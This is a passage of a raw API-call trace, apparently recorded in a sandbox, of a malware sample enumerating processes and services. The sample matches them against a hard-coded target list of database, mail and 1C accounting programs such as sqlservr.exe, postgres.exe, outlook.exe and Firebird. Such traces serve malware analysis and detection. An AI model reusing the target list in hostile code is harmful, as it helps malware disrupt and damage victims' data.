lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0141.637] lstrlenW (lpString="lsm.exe") returned 7 [0141.637] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0141.637] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0141.638] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0141.638] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0141.638] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0141.638] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0141.638] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0141.638] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.638] lstrlenW (lpString="svchost.exe") returned 11 [0141.638] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0141.638] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0141.638] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0141.638] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0141.638] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0141.638] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0141.638] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0141.638] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.638] lstrlenW (lpString="svchost.exe") returned 11 [0141.638] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0141.639] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0141.639] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0141.639] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0141.639] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0141.639] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0141.639] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0141.639] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.639] lstrlenW (lpString="svchost.exe") returned 11 [0141.639] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0141.639] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0141.639] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0141.639] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0141.639] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0141.639] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0141.639] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0141.639] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.639] lstrlenW (lpString="svchost.exe") returned 11 [0141.640] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.640] lstrlenW (lpString="svchost.exe") returned 11 [0141.640] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0141.640] lstrlenW (lpString="audiodg.exe") returned 11 [0141.640] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.641] lstrlenW (lpString="svchost.exe") returned 11 [0141.641] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0141.641] lstrlenW (lpString="userinit.exe") returned 12 [0141.641] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0141.641] lstrlenW (lpString="explorer.exe") returned 12 [0141.641] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0141.641] lstrlenW (lpString="dwm.exe") returned 7 [0141.642] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.642] lstrlenW (lpString="svchost.exe") returned 11 [0141.642] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0141.642] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0141.642] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0141.642] lstrlenW (lpString="spoolsv.exe") returned 11 [0141.643] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0141.643] lstrlenW (lpString="reader_sl.exe") returned 13 [0141.643] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.643] lstrlenW (lpString="svchost.exe") returned 11 [0141.643] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0141.644] lstrlenW (lpString="taskhost.exe") returned 12 [0141.644] Process32NextW (in: hSnapshot=0x1ec, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0141.644] CloseHandle (hObject=0x1ec) returned 1 [0141.644] Sleep (dwMilliseconds=0x1f4) [0142.205] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x428b550 [0142.283] EnumServicesStatusExW (in: hSCManager=0x428b550, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0142.284] GetLastError () returned 0xea [0142.284] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x4241058 [0142.284] EnumServicesStatusExW (in: hSCManager=0x428b550, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4241058, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4241058, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0142.284] CloseServiceHandle (hSCObject=0x428b550) returned 1 [0142.284] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0142.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0142.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0142.284] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0142.284] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0142.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0142.284] lstrlenW (lpString="AudioSrv") returned 8 [0142.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0142.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0142.285] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0142.285] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0142.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0142.285] lstrlenW (lpString="BFE") returned 3 [0142.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0142.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0142.285] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0142.285] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0142.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0142.285] lstrlenW (lpString="CryptSvc") returned 8 [0142.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0142.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0142.285] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0142.285] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0142.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0142.285] lstrlenW (lpString="CscService") returned 10 [0142.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0142.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0142.285] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0142.285] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0142.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0142.285] lstrlenW (lpString="DcomLaunch") returned 10 [0142.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0142.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0142.285] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0142.285] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0142.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0142.285] lstrlenW (lpString="Dhcp") returned 4 [0142.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0142.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0142.285] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0142.285] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0142.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0142.285] lstrlenW (lpString="Dnscache") returned 8 [0142.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0142.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0142.286] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0142.286] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0142.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0142.286] lstrlenW (lpString="DPS") returned 3 [0142.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0142.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0142.286] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0142.286] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0142.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0142.286] lstrlenW (lpString="eventlog") returned 8 [0142.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0142.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0142.286] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0142.286] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0142.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0142.286] lstrlenW (lpString="EventSystem") returned 11 [0142.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0142.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0142.286] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0142.286] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0142.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0142.286] lstrlenW (lpString="gpsvc") returned 5 [0142.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0142.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0142.286] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0142.286] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0142.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0142.286] lstrlenW (lpString="LanmanWorkstation") returned 17 [0142.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0142.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0142.286] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0142.286] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0142.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0142.286] lstrlenW (lpString="lmhosts") returned 7 [0142.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0142.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0142.287] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0142.287] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0142.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0142.287] lstrlenW (lpString="MMCSS") returned 5 [0142.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0142.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0142.287] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0142.287] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0142.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0142.287] lstrlenW (lpString="MpsSvc") returned 6 [0142.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0142.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0142.287] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0142.287] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0142.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0142.287] lstrlenW (lpString="NlaSvc") returned 6 [0142.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0142.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0142.287] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0142.287] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0142.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0142.287] lstrlenW (lpString="nsi") returned 3 [0142.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0142.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0142.287] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0142.287] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0142.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0142.287] lstrlenW (lpString="PcaSvc") returned 6 [0142.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0142.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0142.287] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0142.287] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0142.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0142.287] lstrlenW (lpString="PlugPlay") returned 8 [0142.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0142.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0142.288] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0142.288] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0142.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0142.288] lstrlenW (lpString="Power") returned 5 [0142.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0142.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0142.288] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0142.288] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0142.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0142.288] lstrlenW (lpString="ProfSvc") returned 7 [0142.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0142.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0142.288] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0142.288] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0142.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0142.288] lstrlenW (lpString="RpcEptMapper") returned 12 [0142.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0142.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0142.288] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0142.288] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0142.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0142.288] lstrlenW (lpString="RpcSs") returned 5 [0142.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0142.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0142.288] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0142.288] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0142.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0142.288] lstrlenW (lpString="SamSs") returned 5 [0142.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0142.288] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0142.288] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0142.288] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0142.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0142.288] lstrlenW (lpString="Schedule") returned 8 [0142.288] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0142.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0142.289] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0142.289] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0142.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0142.289] lstrlenW (lpString="SENS") returned 4 [0142.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0142.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0142.289] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0142.289] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0142.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0142.289] lstrlenW (lpString="ShellHWDetection") returned 16 [0142.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0142.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0142.289] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0142.289] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0142.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0142.289] lstrlenW (lpString="Spooler") returned 7 [0142.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0142.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0142.289] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0142.289] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0142.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0142.289] lstrlenW (lpString="SysMain") returned 7 [0142.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0142.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0142.289] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0142.289] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0142.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0142.289] lstrlenW (lpString="Themes") returned 6 [0142.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0142.289] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0142.289] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0142.289] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0142.289] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0142.289] lstrlenW (lpString="TrkWks") returned 6 [0142.289] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0142.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0142.290] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0142.290] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0142.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0142.290] lstrlenW (lpString="UxSms") returned 5 [0142.290] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0142.290] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0142.290] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0142.290] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0142.290] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0142.290] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4241058 | out: hHeap=0x880000) returned 1 [0142.290] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dc [0142.292] Process32FirstW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.292] Process32NextW (in: hSnapshot=0x1dc, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0142.292] lstrlenW (lpString="System") returned 6 [0142.292] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0142.292] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0142.292] lstrcmpiW 